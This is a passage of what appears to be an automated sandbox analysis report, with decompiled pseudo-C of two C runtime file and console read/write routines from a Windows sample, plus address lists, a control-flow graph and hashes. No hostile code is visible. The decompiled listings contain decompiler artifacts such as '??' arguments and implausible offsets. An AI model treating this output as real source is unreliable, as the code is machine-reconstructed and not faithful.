				if ((_t178 &  !r12d) != 0) goto 0xda8eaf92;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 0;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0x16;
				E00007FF77FF7DA8E9D00();
				goto 0xda8eb120;
				goto 0xda8eb018;
				if ((_t178 &  !r12d) == 0) goto 0xda8eaf76;
				_t198 =  <  ? 4 : r12d >> 1;
				E00007FF77FF7DA8ECA1C(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				_t263 = _t246;
				E00007FF77FF7DA8E9D68(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				E00007FF77FF7DA8E9D68(_t246,  *((intOrPtr*)(_t246 + 0x28 + _t308 * 8)));
				_t310 = _t263;
				if (_t263 != 0) goto 0xda8eafe8;
				E00007FF77FF7DA8E4394(_t246);
				 *_t246 = 0xc;
				E00007FF77FF7DA8E4374(_t246);
				 *_t246 = 8;
				goto 0xda8eb120;
				_t32 = _t273 + 1; // 0x1
				r8d = _t32;
				E00007FF77FF7DA8EB6A4(_t246, _t263, _t280);
				_t292 = _v88;
				r10b = _a8;
				 *((long long*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x30 + _t308 * 8)) = _t246;
				_t247 =  *((intOrPtr*)(0xda91ca20 + _t292 * 8));
				_v72 = _t310;
				r9d = 0xa;
				if (( *(_t247 + 0x38 + _t308 * 8) & 0x00000048) == 0) goto 0xda8eb0aa;
				_t142 =  *((intOrPtr*)(_t247 + 0x3a + _t308 * 8));
				if (_t142 == r9b) goto 0xda8eb0aa;
				if (_t198 == 0) goto 0xda8eb0aa;
				 *_t310 = _t142;
				_t199 = _t198 - 1;
				_t311 = _t310 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3a + _t308 * 8)) = r9b;
				if (r10b == 0) goto 0xda8eb0aa;
				_t170 =  *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3b + _t308 * 8));
				if (_t170 == r9b) goto 0xda8eb0aa;
				if (_t199 == 0) goto 0xda8eb0aa;
				 *_t311 = _t170;
				_t312 = _t311 + __rdx;
				_t200 = _t199 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3b + _t308 * 8)) = r9b;
				if (r10b != 1) goto 0xda8eb0aa;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3c + _t308 * 8));
				if (_t171 == r9b) goto 0xda8eb0aa;
				if (_t200 == 0) goto 0xda8eb0aa;
				 *_t312 = _t171;
				_t313 = _t312 + __rdx;
				 *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t292 * 8)) + 0x3c + _t308 * 8)) = r9b;
				if (E00007FF77FF7DA8F298C(r13d,  *((intOrPtr*)(0xda91ca20 + _t292 * 8))) == 0) goto 0xda8eb13e;
				_t254 =  *((intOrPtr*)(0xda91ca20 + _v88 * 8));
				if ( *((intOrPtr*)(_t254 + 0x38 + _t308 * 8)) - sil >= 0) goto 0xda8eb13e;
				if (GetConsoleMode(??, ??) == 0) goto 0xda8eb13e;
				if (_a8 != 2) goto 0xda8eb143;
				_t202 = _t200 - 1 >> 1;
				r8d = _t202;
				_v120 = _t285;
				if (ReadConsoleW(??, ??, ??, ??, ??) != 0) goto 0xda8eb132;
				E00007FF77FF7DA8E4308(GetLastError(), _t254, _v96);
				E00007FF77FF7DA8E9D68(_t254, _t263);
				goto 0xda8eb2b1;
				goto 0xda8eb17e;
				_v80 = sil;
				r8d = _t202;
				_v120 = _t285;
				_t151 = ReadFile(??, ??, ??, ??, ??); // executed
				if (_t151 == 0) goto 0xda8eb25d;
				if (_a32 - r12d > 0) goto 0xda8eb25d;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _v88 * 8)) + 0x38 + _t308 * 8)) - sil >= 0) goto 0xda8eb123;
				_t293 = _t280 + _t254 * 2 + _a32;
				if (_a8 == 2) goto 0xda8eb1c7;
				_t278 = _t313;
				_v120 = _t306 >> 1;
				_t152 = E00007FF77FF7DA8EAA94(_t151, _t162, r13d, 0, _t263, _t278, _t286, _t293, _a16);
				goto 0xda8eb123;
				if (_v80 == sil) goto 0xda8eb24b;
				_t302 = _v72;
				_t258 = _t302;
				_t301 =  &(_t302[_t293 >> 1]);
				if (_t302 - _t301 >= 0) goto 0xda8eb23e;
				_t175 =  *_t258 & 0x0000ffff;
				if (_t175 == 0x1a) goto 0xda8eb22d;
				if (_t175 != 0xd) goto 0xda8eb213;
				_t295 =  &(_t258[1]);
				if (_t295 - _t301 >= 0) goto 0xda8eb213;
				if ( *_t295 != 0xa) goto 0xda8eb213;
				r11d = 4;
				goto 0xda8eb219;
				r11d = 2;
				 *_t302 = 0xa;
				if ( &(_t258[0x3ffbed48e510]) - _t301 < 0) goto 0xda8eb1ea;
				goto 0xda8eb23e;
				_t260 =  *((intOrPtr*)(0xda91ca20 + _t278 * 8));
				 *(_t260 + 0x38 + _t308 * 8) =  *(_t260 + 0x38 + _t308 * 8) | 0x00000002;
				goto 0xda8eb123;
				E00007FF77FF7DA8EA8D4(_t152, r13d, _t263, 0xda91ca20, _v72,  &(_t302[1]), 0xda91ca20);
				goto 0xda8eb1c0;
				if (GetLastError() != 5) goto 0xda8eb283;
				E00007FF77FF7DA8E4394(_t260);
				 *_t260 = 9;
				_t156 = E00007FF77FF7DA8E4374(_t260);
				 *_t260 = 5;
				goto 0xda8eb120;
				if (_t156 != 0x6d) goto 0xda8eb119;
				goto 0xda8eb123;
				goto 0xda8eb2b1;
				E00007FF77FF7DA8E4374(_t260);
				 *_t260 = 0xa;
				E00007FF77FF7DA8E4394(_t260);
				 *_t260 = 9;
				return E00007FF77FF7DA8E9D00() | 0xffffffff;
			}
















































                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae7c
                                                                                                                              0x7ff7da8eae81
                                                                                                                              0x7ff7da8eae9b
                                                                                                                              0x7ff7da8eaea2
                                                                                                                              0x7ff7da8eaea4
                                                                                                                              0x7ff7da8eaeab
                                                                                                                              0x7ff7da8eaead
                                                                                                                              0x7ff7da8eaeb2
                                                                                                                              0x7ff7da8eaeb8
                                                                                                                              0x7ff7da8eaec1
                                                                                                                              0x7ff7da8eaec7
                                                                                                                              0x7ff7da8eaece
                                                                                                                              0x7ff7da8eaed7
                                                                                                                              0x7ff7da8eaed7
                                                                                                                              0x7ff7da8eaedd
                                                                                                                              0x7ff7da8eaeec
                                                                                                                              0x7ff7da8eaef0
                                                                                                                              0x7ff7da8eaef5
                                                                                                                              0x7ff7da8eaef9
                                                                                                                              0x7ff7da8eaf02
                                                                                                                              0x7ff7da8eaf0f
                                                                                                                              0x7ff7da8eaf11
                                                                                                                              0x7ff7da8eaf16
                                                                                                                              0x7ff7da8eaf18
                                                                                                                              0x7ff7da8eaf1d
                                                                                                                              0x7ff7da8eaf23
                                                                                                                              0x7ff7da8eaf2b
                                                                                                                              0x7ff7da8eaf37
                                                                                                                              0x7ff7da8eaf3d
                                                                                                                              0x7ff7da8eaf40
                                                                                                                              0x7ff7da8eaf4a
                                                                                                                              0x7ff7da8eaf55
                                                                                                                              0x7ff7da8eaf5d
                                                                                                                              0x7ff7da8eaf67
                                                                                                                              0x7ff7da8eaf6b
                                                                                                                              0x7ff7da8eaf74
                                                                                                                              0x7ff7da8eaf76
                                                                                                                              0x7ff7da8eaf7b
                                                                                                                              0x7ff7da8eaf7d
                                                                                                                              0x7ff7da8eaf82
                                                                                                                              0x7ff7da8eaf88
                                                                                                                              0x7ff7da8eaf8d
                                                                                                                              0x7ff7da8eaf98
                                                                                                                              0x7ff7da8eafa1
                                                                                                                              0x7ff7da8eafaa
                                                                                                                              0x7ff7da8eafaf
                                                                                                                              0x7ff7da8eafb6
                                                                                                                              0x7ff7da8eafb9
                                                                                                                              0x7ff7da8eafc0
                                                                                                                              0x7ff7da8eafc5
                                                                                                                              0x7ff7da8eafcb
                                                                                                                              0x7ff7da8eafcd
                                                                                                                              0x7ff7da8eafd2
                                                                                                                              0x7ff7da8eafd8
                                                                                                                              0x7ff7da8eafdd
                                                                                                                              0x7ff7da8eafe3
                                                                                                                              0x7ff7da8eafed
                                                                                                                              0x7ff7da8eafed
                                                                                                                              0x7ff7da8eaff1
                                                                                                                              0x7ff7da8eaff6
                                                                                                                              0x7ff7da8eb002
                                                                                                                              0x7ff7da8eb013
                                                                                                                              0x7ff7da8eb018
                                                                                                                              0x7ff7da8eb01e
                                                                                                                              0x7ff7da8eb023
                                                                                                                              0x7ff7da8eb02f
                                                                                                                              0x7ff7da8eb031
                                                                                                                              0x7ff7da8eb039
                                                                                                                              0x7ff7da8eb03d
                                                                                                                              0x7ff7da8eb03f
                                                                                                                              0x7ff7da8eb042
                                                                                                                              0x7ff7da8eb048
                                                                                                                              0x7ff7da8eb04d
                                                                                                                              0x7ff7da8eb055
                                                                                                                              0x7ff7da8eb05b
                                                                                                                              0x7ff7da8eb063
                                                                                                                              0x7ff7da8eb067
                                                                                                                              0x7ff7da8eb069
                                                                                                                              0x7ff7da8eb074
                                                                                                                              0x7ff7da8eb077
                                                                                                                              0x7ff7da8eb079
                                                                                                                              0x7ff7da8eb081
                                                                                                                              0x7ff7da8eb087
                                                                                                                              0x7ff7da8eb08f
                                                                                                                              0x7ff7da8eb093
                                                                                                                              0x7ff7da8eb095
                                                                                                                              0x7ff7da8eb0a0
                                                                                                                              0x7ff7da8eb0a5
                                                                                                                              0x7ff7da8eb0b4
                                                                                                                              0x7ff7da8eb0c6
                                                                                                                              0x7ff7da8eb0cf
                                                                                                                              0x7ff7da8eb0e3
                                                                                                                              0x7ff7da8eb0ed
                                                                                                                              0x7ff7da8eb0fc
                                                                                                                              0x7ff7da8eb101
                                                                                                                              0x7ff7da8eb104
                                                                                                                              0x7ff7da8eb111
                                                                                                                              0x7ff7da8eb11b
                                                                                                                              0x7ff7da8eb126
                                                                                                                              0x7ff7da8eb12d
                                                                                                                              0x7ff7da8eb13c
                                                                                                                              0x7ff7da8eb13e
                                                                                                                              0x7ff7da8eb150
                                                                                                                              0x7ff7da8eb153
                                                                                                                              0x7ff7da8eb15b
                                                                                                                              0x7ff7da8eb163
                                                                                                                              0x7ff7da8eb171
                                                                                                                              0x7ff7da8eb193
                                                                                                                              0x7ff7da8eb19d
                                                                                                                              0x7ff7da8eb1a0
                                                                                                                              0x7ff7da8eb1b0
                                                                                                                              0x7ff7da8eb1b6
                                                                                                                              0x7ff7da8eb1bb
                                                                                                                              0x7ff7da8eb1c2
                                                                                                                              0x7ff7da8eb1cf
                                                                                                                              0x7ff7da8eb1d1
                                                                                                                              0x7ff7da8eb1d6
                                                                                                                              0x7ff7da8eb1dc
                                                                                                                              0x7ff7da8eb1e3
                                                                                                                              0x7ff7da8eb1ea
                                                                                                                              0x7ff7da8eb1f1
                                                                                                                              0x7ff7da8eb1f7
                                                                                                                              0x7ff7da8eb1f9
                                                                                                                              0x7ff7da8eb200
                                                                                                                              0x7ff7da8eb206
                                                                                                                              0x7ff7da8eb20b
                                                                                                                              0x7ff7da8eb211
                                                                                                                              0x7ff7da8eb213
                                                                                                                              0x7ff7da8eb21c
                                                                                                                              0x7ff7da8eb229
                                                                                                                              0x7ff7da8eb22b
                                                                                                                              0x7ff7da8eb234
                                                                                                                              0x7ff7da8eb238
                                                                                                                              0x7ff7da8eb246
                                                                                                                              0x7ff7da8eb253
                                                                                                                              0x7ff7da8eb258
                                                                                                                              0x7ff7da8eb266
                                                                                                                              0x7ff7da8eb268
                                                                                                                              0x7ff7da8eb26d
                                                                                                                              0x7ff7da8eb273
                                                                                                                              0x7ff7da8eb278
                                                                                                                              0x7ff7da8eb27e
                                                                                                                              0x7ff7da8eb286
                                                                                                                              0x7ff7da8eb28e
                                                                                                                              0x7ff7da8eb295
                                                                                                                              0x7ff7da8eb297
                                                                                                                              0x7ff7da8eb29c
                                                                                                                              0x7ff7da8eb29e
                                                                                                                              0x7ff7da8eb2a3
                                                                                                                              0x7ff7da8eb2c8

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 91ee52e53b938f04e3ca067b9ec35c517ea927f4dccd8ae40ab0dd36a53119b0
                                                                                                                              • Instruction ID: 844910733d293e58ea6f1fdd2ae775f2585802e2b94ba741d24b2357a207e1a7
                                                                                                                              • Opcode Fuzzy Hash: 91ee52e53b938f04e3ca067b9ec35c517ea927f4dccd8ae40ab0dd36a53119b0
                                                                                                                              • Instruction Fuzzy Hash: 65C1D522A1C687C1F612AB1194082BDFB91FFA1B90FD58172DE4D03793DE7EE6658320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EC380 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 876 7ff7da8ec380-7ff7da8ec3a5 877 7ff7da8ec673 876->877 878 7ff7da8ec3ab-7ff7da8ec3ae 876->878 879 7ff7da8ec675-7ff7da8ec685 877->879 880 7ff7da8ec3b0-7ff7da8ec3e2 call 7ff7da8e9c34 878->880 881 7ff7da8ec3e7-7ff7da8ec413 878->881 880->879 882 7ff7da8ec415-7ff7da8ec41c 881->882 883 7ff7da8ec41e-7ff7da8ec424 881->883 882->880 882->883 885 7ff7da8ec426-7ff7da8ec42f call 7ff7da8eb740 883->885 886 7ff7da8ec434-7ff7da8ec449 call 7ff7da8f298c 883->886 885->886 891 7ff7da8ec563-7ff7da8ec56c 886->891 892 7ff7da8ec44f-7ff7da8ec458 886->892 893 7ff7da8ec5c0-7ff7da8ec5e5 WriteFile 891->893 894 7ff7da8ec56e-7ff7da8ec574 891->894 892->891 895 7ff7da8ec45e-7ff7da8ec462 892->895 896 7ff7da8ec5f0 893->896 897 7ff7da8ec5e7-7ff7da8ec5ed GetLastError 893->897 898 7ff7da8ec576-7ff7da8ec579 894->898 899 7ff7da8ec5ac-7ff7da8ec5be call 7ff7da8ebe38 894->899 900 7ff7da8ec473-7ff7da8ec47e 895->900 901 7ff7da8ec464-7ff7da8ec46c call 7ff7da8e3970 895->901 903 7ff7da8ec5f3 896->903 897->896 904 7ff7da8ec57b-7ff7da8ec57e 898->904 905 7ff7da8ec598-7ff7da8ec5aa call 7ff7da8ec058 898->905 919 7ff7da8ec550-7ff7da8ec557 899->919 907 7ff7da8ec48f-7ff7da8ec4a4 GetConsoleMode 900->907 908 7ff7da8ec480-7ff7da8ec489 900->908 901->900 912 7ff7da8ec5f8 903->912 913 7ff7da8ec604-7ff7da8ec60e 904->913 914 7ff7da8ec584-7ff7da8ec596 call 7ff7da8ebf3c 904->914 905->919 909 7ff7da8ec55c 907->909 910 7ff7da8ec4aa-7ff7da8ec4b0 907->910 908->891 908->907 909->891 917 7ff7da8ec4b6-7ff7da8ec4b9 910->917 918 7ff7da8ec539-7ff7da8ec54b call 7ff7da8eb9c0 910->918 920 7ff7da8ec5fd 912->920 921 7ff7da8ec610-7ff7da8ec615 913->921 922 7ff7da8ec66c-7ff7da8ec671 913->922 914->919 925 7ff7da8ec4c4-7ff7da8ec4d2 917->925 926 7ff7da8ec4bb-7ff7da8ec4be 917->926 918->919 919->912 920->913 928 7ff7da8ec643-7ff7da8ec64d 921->928 929 7ff7da8ec617-7ff7da8ec61a 921->929 922->879 933 7ff7da8ec4d4 925->933 934 7ff7da8ec530-7ff7da8ec534 925->934 926->920 926->925 931 7ff7da8ec654-7ff7da8ec663 928->931 932 7ff7da8ec64f-7ff7da8ec652 928->932 935 7ff7da8ec633-7ff7da8ec63e call 7ff7da8e4350 929->935 936 7ff7da8ec61c-7ff7da8ec62b 929->936 931->922 932->877 932->931 937 7ff7da8ec4d8-7ff7da8ec4ef call 7ff7da8f2a58 933->937 934->903 935->928 936->935 942 7ff7da8ec4f1-7ff7da8ec4fd 937->942 943 7ff7da8ec527-7ff7da8ec52d GetLastError 937->943 944 7ff7da8ec4ff-7ff7da8ec511 call 7ff7da8f2a58 942->944 945 7ff7da8ec51c-7ff7da8ec523 942->945 943->934 944->943 949 7ff7da8ec513-7ff7da8ec51a 944->949 945->934 947 7ff7da8ec525 945->947 947->937 949->945
                                                                                                                              C-Code - Quality: 35%
                                                                                                                              			E00007FF77FF7DA8EC380(void* __ebx, signed int __ecx, void* __esi, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10, void* __r11) {
				signed long long _v88;
				char _v96;
				void* _v108;
				signed int _v112;
				intOrPtr _v120;
				signed int _v124;
				long _v128;
				signed int _v136;
				long long _v144;
				signed int _v152;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				signed short _t99;
				void* _t107;
				int _t115;
				long _t116;
				signed int _t117;
				void* _t122;
				signed short _t127;
				signed int _t130;
				signed short _t133;
				signed short _t158;
				signed short _t166;
				signed long long _t179;
				signed int _t183;
				signed short* _t196;
				signed int _t203;
				signed int _t204;
				signed short* _t205;
				void* _t207;
				void* _t217;
				void* _t218;
				signed long long _t220;
				void* _t221;
				signed long long _t222;
				signed long long _t223;
				void* _t224;
				signed short* _t226;

				_t218 = __r11;
				_t217 = __r10;
				_t196 = __rdx;
				_t122 = __ebx;
				r14d = r8d;
				_t183 = __r9;
				_t205 = __rdx;
				if (r8d == 0) goto 0xda8ec673;
				if (__rdx != 0) goto 0xda8ec3e7;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v144 = __r9;
				_v152 = _t204;
				E00007FF77FF7DA8E9C34(__rax, __r9, __rcx, __rdx, __rdx, _t207, __r8);
				goto 0xda8ec675;
				_t220 = __ecx >> 6;
				_v88 = _t220;
				_t223 = __ecx + __ecx * 8;
				_t99 =  *((intOrPtr*)(0xda91ca20 + 0x39 + _t223 * 8));
				_v136 = _t99;
				if (_t99 - 1 - 1 > 0) goto 0xda8ec41e;
				if (( !r14d & 0x00000001) == 0) goto 0xda8ec3b0;
				if (( *( *((intOrPtr*)(0xda91ca20 + _t220 * 8)) + 0x38 + _t223 * 8) & 0x00000020) == 0) goto 0xda8ec434;
				_t23 = _t196 + 2; // 0x2
				r8d = _t23;
				0xda8eb740();
				_v112 = _t204;
				if (E00007FF77FF7DA8F298C(r15d, __ecx) == 0) goto 0xda8ec563;
				if ( *( *((intOrPtr*)(0xda91ca20 + _t220 * 8)) + 0x38 + _t223 * 8) - dil >= 0) goto 0xda8ec563;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0xda8ec473;
				E00007FF77FF7DA8E3970( *((intOrPtr*)(0xda91ca20 + _t220 * 8)), __r9, __r9, _t205);
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t204) goto 0xda8ec48f;
				_t179 =  *((intOrPtr*)(0xda91ca20 + _t220 * 8));
				if ( *((intOrPtr*)(_t179 + 0x39 + _t223 * 8)) == dil) goto 0xda8ec563;
				if (GetConsoleMode(??, ??) == 0) goto 0xda8ec55c;
				_t127 = _v136;
				_t158 = _t127;
				if (_t158 == 0) goto 0xda8ec539;
				if (_t158 == 0) goto 0xda8ec4c4;
				if (_t127 - 1 != 1) goto 0xda8ec5fd;
				_t221 = _t205 + _t224;
				_v128 = _t204;
				_t226 = _t205;
				if (_t205 - _t221 >= 0) goto 0xda8ec530;
				r14d = _v124;
				_v136 =  *_t226 & 0x0000ffff;
				_t107 = E00007FF77FF7DA8F2A58( *_t226 & 0xffff);
				_t130 = _v136 & 0x0000ffff;
				if (_t107 != _t130) goto 0xda8ec527;
				r14d = r14d + 2;
				_v124 = r14d;
				if (_t130 != 0xa) goto 0xda8ec51c;
				if (E00007FF77FF7DA8F2A58(0xd) != 0xd) goto 0xda8ec527;
				r14d = r14d + 1;
				_v124 = r14d;
				if ( &(_t226[1]) - _t221 >= 0) goto 0xda8ec530;
				goto 0xda8ec4d8;
				_v128 = GetLastError();
				_t222 = _v88;
				goto 0xda8ec5f3;
				r9d = r14d;
				_v152 = __r9;
				E00007FF77FF7DA8EB9C0(_t109, r15d, __esi, __r9,  &_v128,  &_v96, _t205);
				asm("movsd xmm0, [eax]");
				goto 0xda8ec5f8;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xda91ca20 + _t222 * 8)) + 0x38 + _t223 * 8)) - dil >= 0) goto 0xda8ec5c0;
				_t133 = _v136;
				_t166 = _t133;
				if (_t166 == 0) goto 0xda8ec5ac;
				if (_t166 == 0) goto 0xda8ec598;
				if (_t133 - 1 != 1) goto 0xda8ec604;
				r9d = r14d;
				E00007FF77FF7DA8EBF3C(_t122, r15d, _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r9d = r14d;
				E00007FF77FF7DA8EC058(r15d,  *((intOrPtr*)(_t179 + 8)), _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r9d = r14d;
				E00007FF77FF7DA8EBE38(_t122, _t133 - 1, r15d, _t179, _t183,  &_v128, _t207, _t205, _t217, _t218);
				goto 0xda8ec550;
				r8d = r14d;
				_v152 = _v152 & _t179;
				_v128 = _t179;
				_v120 = 0;
				_t115 = WriteFile(??, ??, ??, ??, ??); // executed
				if (_t115 != 0) goto 0xda8ec5f0;
				_t116 = GetLastError();
				_v128 = _t116;
				asm("movsd xmm0, [ebp-0x40]");
				asm("movsd [ebp-0x30], xmm0");
				if (_t116 != 0) goto 0xda8ec66c;
				_t117 = _v112;
				if (_t117 == 0) goto 0xda8ec643;
				if (_t117 != 5) goto 0xda8ec633;
				 *((char*)(_t183 + 0x30)) = 1;
				 *((intOrPtr*)(_t183 + 0x2c)) = 9;
				 *((char*)(_t183 + 0x38)) = 1;
				 *(_t183 + 0x34) = _t117;
				goto 0xda8ec3df;
				_t203 = _t183;
				E00007FF77FF7DA8E4350(_v112, _t203);
				goto 0xda8ec3df;
				if (( *( *((intOrPtr*)(_t203 + _t222 * 8)) + 0x38 + _t223 * 8) & 0x00000040) == 0) goto 0xda8ec654;
				if ( *_t205 == 0x1a) goto 0xda8ec673;
				 *(_t183 + 0x34) =  *(_t183 + 0x34) & 0x00000000;
				 *((char*)(_t183 + 0x30)) = 1;
				 *((intOrPtr*)(_t183 + 0x2c)) = 0x1c;
				 *((char*)(_t183 + 0x38)) = 1;
				goto 0xda8ec3df;
				goto 0xda8ec675;
				return 0;
			}










































                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec380
                                                                                                                              0x7ff7da8ec396
                                                                                                                              0x7ff7da8ec39c
                                                                                                                              0x7ff7da8ec39f
                                                                                                                              0x7ff7da8ec3a5
                                                                                                                              0x7ff7da8ec3ae
                                                                                                                              0x7ff7da8ec3b0
                                                                                                                              0x7ff7da8ec3b5
                                                                                                                              0x7ff7da8ec3b8
                                                                                                                              0x7ff7da8ec3be
                                                                                                                              0x7ff7da8ec3c5
                                                                                                                              0x7ff7da8ec3cd
                                                                                                                              0x7ff7da8ec3d0
                                                                                                                              0x7ff7da8ec3d5
                                                                                                                              0x7ff7da8ec3da
                                                                                                                              0x7ff7da8ec3e2
                                                                                                                              0x7ff7da8ec3f7
                                                                                                                              0x7ff7da8ec3fb
                                                                                                                              0x7ff7da8ec3ff
                                                                                                                              0x7ff7da8ec407
                                                                                                                              0x7ff7da8ec40c
                                                                                                                              0x7ff7da8ec413
                                                                                                                              0x7ff7da8ec41c
                                                                                                                              0x7ff7da8ec424
                                                                                                                              0x7ff7da8ec42b
                                                                                                                              0x7ff7da8ec42b
                                                                                                                              0x7ff7da8ec42f
                                                                                                                              0x7ff7da8ec437
                                                                                                                              0x7ff7da8ec449
                                                                                                                              0x7ff7da8ec458
                                                                                                                              0x7ff7da8ec462
                                                                                                                              0x7ff7da8ec467
                                                                                                                              0x7ff7da8ec47e
                                                                                                                              0x7ff7da8ec480
                                                                                                                              0x7ff7da8ec489
                                                                                                                              0x7ff7da8ec4a4
                                                                                                                              0x7ff7da8ec4aa
                                                                                                                              0x7ff7da8ec4ae
                                                                                                                              0x7ff7da8ec4b0
                                                                                                                              0x7ff7da8ec4b9
                                                                                                                              0x7ff7da8ec4be
                                                                                                                              0x7ff7da8ec4c4
                                                                                                                              0x7ff7da8ec4c8
                                                                                                                              0x7ff7da8ec4cc
                                                                                                                              0x7ff7da8ec4d2
                                                                                                                              0x7ff7da8ec4d4
                                                                                                                              0x7ff7da8ec4df
                                                                                                                              0x7ff7da8ec4e3
                                                                                                                              0x7ff7da8ec4e8
                                                                                                                              0x7ff7da8ec4ef
                                                                                                                              0x7ff7da8ec4f1
                                                                                                                              0x7ff7da8ec4f5
                                                                                                                              0x7ff7da8ec4fd
                                                                                                                              0x7ff7da8ec511
                                                                                                                              0x7ff7da8ec513
                                                                                                                              0x7ff7da8ec516
                                                                                                                              0x7ff7da8ec523
                                                                                                                              0x7ff7da8ec525
                                                                                                                              0x7ff7da8ec52d
                                                                                                                              0x7ff7da8ec530
                                                                                                                              0x7ff7da8ec534
                                                                                                                              0x7ff7da8ec539
                                                                                                                              0x7ff7da8ec53c
                                                                                                                              0x7ff7da8ec54b
                                                                                                                              0x7ff7da8ec550
                                                                                                                              0x7ff7da8ec557
                                                                                                                              0x7ff7da8ec56c
                                                                                                                              0x7ff7da8ec56e
                                                                                                                              0x7ff7da8ec572
                                                                                                                              0x7ff7da8ec574
                                                                                                                              0x7ff7da8ec579
                                                                                                                              0x7ff7da8ec57e
                                                                                                                              0x7ff7da8ec584
                                                                                                                              0x7ff7da8ec591
                                                                                                                              0x7ff7da8ec596
                                                                                                                              0x7ff7da8ec598
                                                                                                                              0x7ff7da8ec5a5
                                                                                                                              0x7ff7da8ec5aa
                                                                                                                              0x7ff7da8ec5ac
                                                                                                                              0x7ff7da8ec5b9
                                                                                                                              0x7ff7da8ec5be
                                                                                                                              0x7ff7da8ec5cb
                                                                                                                              0x7ff7da8ec5ce
                                                                                                                              0x7ff7da8ec5d6
                                                                                                                              0x7ff7da8ec5da
                                                                                                                              0x7ff7da8ec5dd
                                                                                                                              0x7ff7da8ec5e5
                                                                                                                              0x7ff7da8ec5e7
                                                                                                                              0x7ff7da8ec5ed
                                                                                                                              0x7ff7da8ec5f3
                                                                                                                              0x7ff7da8ec5f8
                                                                                                                              0x7ff7da8ec60e
                                                                                                                              0x7ff7da8ec610
                                                                                                                              0x7ff7da8ec615
                                                                                                                              0x7ff7da8ec61a
                                                                                                                              0x7ff7da8ec61c
                                                                                                                              0x7ff7da8ec620
                                                                                                                              0x7ff7da8ec627
                                                                                                                              0x7ff7da8ec62b
                                                                                                                              0x7ff7da8ec62e
                                                                                                                              0x7ff7da8ec636
                                                                                                                              0x7ff7da8ec639
                                                                                                                              0x7ff7da8ec63e
                                                                                                                              0x7ff7da8ec64d
                                                                                                                              0x7ff7da8ec652
                                                                                                                              0x7ff7da8ec654
                                                                                                                              0x7ff7da8ec658
                                                                                                                              0x7ff7da8ec65c
                                                                                                                              0x7ff7da8ec663
                                                                                                                              0x7ff7da8ec667
                                                                                                                              0x7ff7da8ec671
                                                                                                                              0x7ff7da8ec685

                                                                                                                              APIs
                                                                                                                              • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7DA8EC36B), ref: 00007FF7DA8EC49C
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7DA8EC36B), ref: 00007FF7DA8EC527
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
